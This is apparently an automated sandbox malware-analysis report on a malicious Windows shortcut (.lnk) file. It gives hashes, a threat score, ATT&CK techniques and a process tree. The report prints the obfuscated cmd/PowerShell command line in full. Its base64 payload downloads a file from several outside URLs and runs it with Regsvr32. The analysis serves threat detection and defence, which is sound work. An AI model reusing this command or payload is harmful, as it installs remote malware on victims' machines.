b19d5b161b83c193d016f74647fc1d2a9f1e6636c5afd7ce62ff4ee01710daf7

General

Target

b19d5b161b83c193d016f74647fc1d2a9f1e6636c5afd7ce62ff4ee01710daf7.lnk
Size

2KB
MD5

c0d7fcd20cbc603528ade0b5a1a3a7ce
SHA1

7b35c86a7776ec8af3ee1d02ea9b5b181f7fe74f
SHA256

b19d5b161b83c193d016f74647fc1d2a9f1e6636c5afd7ce62ff4ee01710daf7
SHA512

9bd83f70258cce6affd665caeca22b7373b679c62294261d5746c40fa37fc345f8ebb921bb4b46994cbda691d0ea13939dfc8e66258af3ca5245dc7b6ad7bd64

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 7 IoCs

flow	pid	Process
8	4352	powershell.exe
17	4352	powershell.exe
25	4352	powershell.exe
27	4352	powershell.exe
30	4352	powershell.exe
31	4352	powershell.exe
32	4352	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4352	powershell.exe

An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs

pid	Process
3504	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4352	powershell.exe
4352	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4352	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4116 wrote to memory of 3504	4116	cmd.exe	84
PID 4116 wrote to memory of 3504	4116	cmd.exe	84
PID 3504 wrote to memory of 4352	3504	cmd.exe	85
PID 3504 wrote to memory of 4352	3504	cmd.exe	85

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\b19d5b161b83c193d016f74647fc1d2a9f1e6636c5afd7ce62ff4ee01710daf7.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4116
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /v:on /c wuyDKmUSLKzMKwJg9InkOwPItXZ+cGEFIJI/n82+IdKwS77xnlHdOk/3nq1WuI/9B2v4Ln9g||goto&p^o^w^e^r^s^h^e^l^l.e^x^e -c "&{$iAi='ICAgV3JpdGUtSG9zdCAibmlqakgiOyRQcm9ncmVzc1ByZWZlcmVuY2U9IlNpbGVudGx5Q29udGludWUiOyRsaW5rcz0oImh0dHBzOi8vbGFuY2VyLmNvbS5zZy9pbWcvMXJ6LyIsImh0dHA6Ly9sYW1wZWR1c2EubWUvd3AtY29udGVudC9IbFgwY0pwVUpYQmh1QmFNZFYvIiwiaHR0cDovL2xhbW9uZGF0aGVmb29kLmNvbS9qcy92YzUvIiwiaHR0cDovL2xhbm5zam8uY29tL2Jsb2dzLzlHSldEWFFMTEdrcWtvSUlwYi8iLCJodHRwOi8vbGFzc2VyeWJlcmcuZGsvd3AtaW5jbHVkZXMvempsbFFkZWV1aUdBQlpRbC8iLCJodHRwOi8vbGVhcm52aWFvbmxpbmUuY29tL3dwLWFkbWluL2YxdGlzU1RTLyIsImh0dHA6Ly93d3cubGFrb3IuY2gvbGFrb3IvYWRZLyIpOyR0PSJPckNCZyI7JGQ9IiRlbnY6VE1QXC4uXCR0Ijtta2RpciAtZm9yY2UgJGQgfCBvdXQtbnVsbDtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZFxFWndFclVNZmZCLkhveTtSZWdzdnIzMi5leGUgIiRkXEVad0VyVU1mZkIuSG95IjticmVha30gY2F0Y2ggeyB9fQ==';$Pnt=[System.Convert]::FromBase64String($iAi);$bhk=[System.Text.Encoding]::ASCII.GetString($Pnt); iex ($bhk)}"
  2⤵
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:3504
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -c "&{$iAi='ICAgV3JpdGUtSG9zdCAibmlqakgiOyRQcm9ncmVzc1ByZWZlcmVuY2U9IlNpbGVudGx5Q29udGludWUiOyRsaW5rcz0oImh0dHBzOi8vbGFuY2VyLmNvbS5zZy9pbWcvMXJ6LyIsImh0dHA6Ly9sYW1wZWR1c2EubWUvd3AtY29udGVudC9IbFgwY0pwVUpYQmh1QmFNZFYvIiwiaHR0cDovL2xhbW9uZGF0aGVmb29kLmNvbS9qcy92YzUvIiwiaHR0cDovL2xhbm5zam8uY29tL2Jsb2dzLzlHSldEWFFMTEdrcWtvSUlwYi8iLCJodHRwOi8vbGFzc2VyeWJlcmcuZGsvd3AtaW5jbHVkZXMvempsbFFkZWV1aUdBQlpRbC8iLCJodHRwOi8vbGVhcm52aWFvbmxpbmUuY29tL3dwLWFkbWluL2YxdGlzU1RTLyIsImh0dHA6Ly93d3cubGFrb3IuY2gvbGFrb3IvYWRZLyIpOyR0PSJPckNCZyI7JGQ9IiRlbnY6VE1QXC4uXCR0Ijtta2RpciAtZm9yY2UgJGQgfCBvdXQtbnVsbDtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZFxFWndFclVNZmZCLkhveTtSZWdzdnIzMi5leGUgIiRkXEVad0VyVU1mZkIuSG95IjticmVha30gY2F0Y2ggeyB9fQ==';$Pnt=[System.Convert]::FromBase64String($iAi);$bhk=[System.Text.Encoding]::ASCII.GetString($Pnt); iex ($bhk)}"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4352

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0l0oa2hg.12x.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4352-0-0x00007FFF4B663000-0x00007FFF4B665000-memory.dmp

Filesize
8KB

Download
memory/4352-6-0x0000017BC1CB0000-0x0000017BC1CD2000-memory.dmp

Filesize
136KB

Download
memory/4352-11-0x00007FFF4B660000-0x00007FFF4C121000-memory.dmp

Filesize
10.8MB

Download
memory/4352-12-0x00007FFF4B660000-0x00007FFF4C121000-memory.dmp

Filesize
10.8MB

Download
memory/4352-13-0x00007FFF4B663000-0x00007FFF4B665000-memory.dmp

Filesize
8KB

Download
memory/4352-14-0x00007FFF4B660000-0x00007FFF4C121000-memory.dmp

Filesize
10.8MB

Download
memory/4352-19-0x00007FFF4B660000-0x00007FFF4C121000-memory.dmp

Filesize
10.8MB

Download

Analysis

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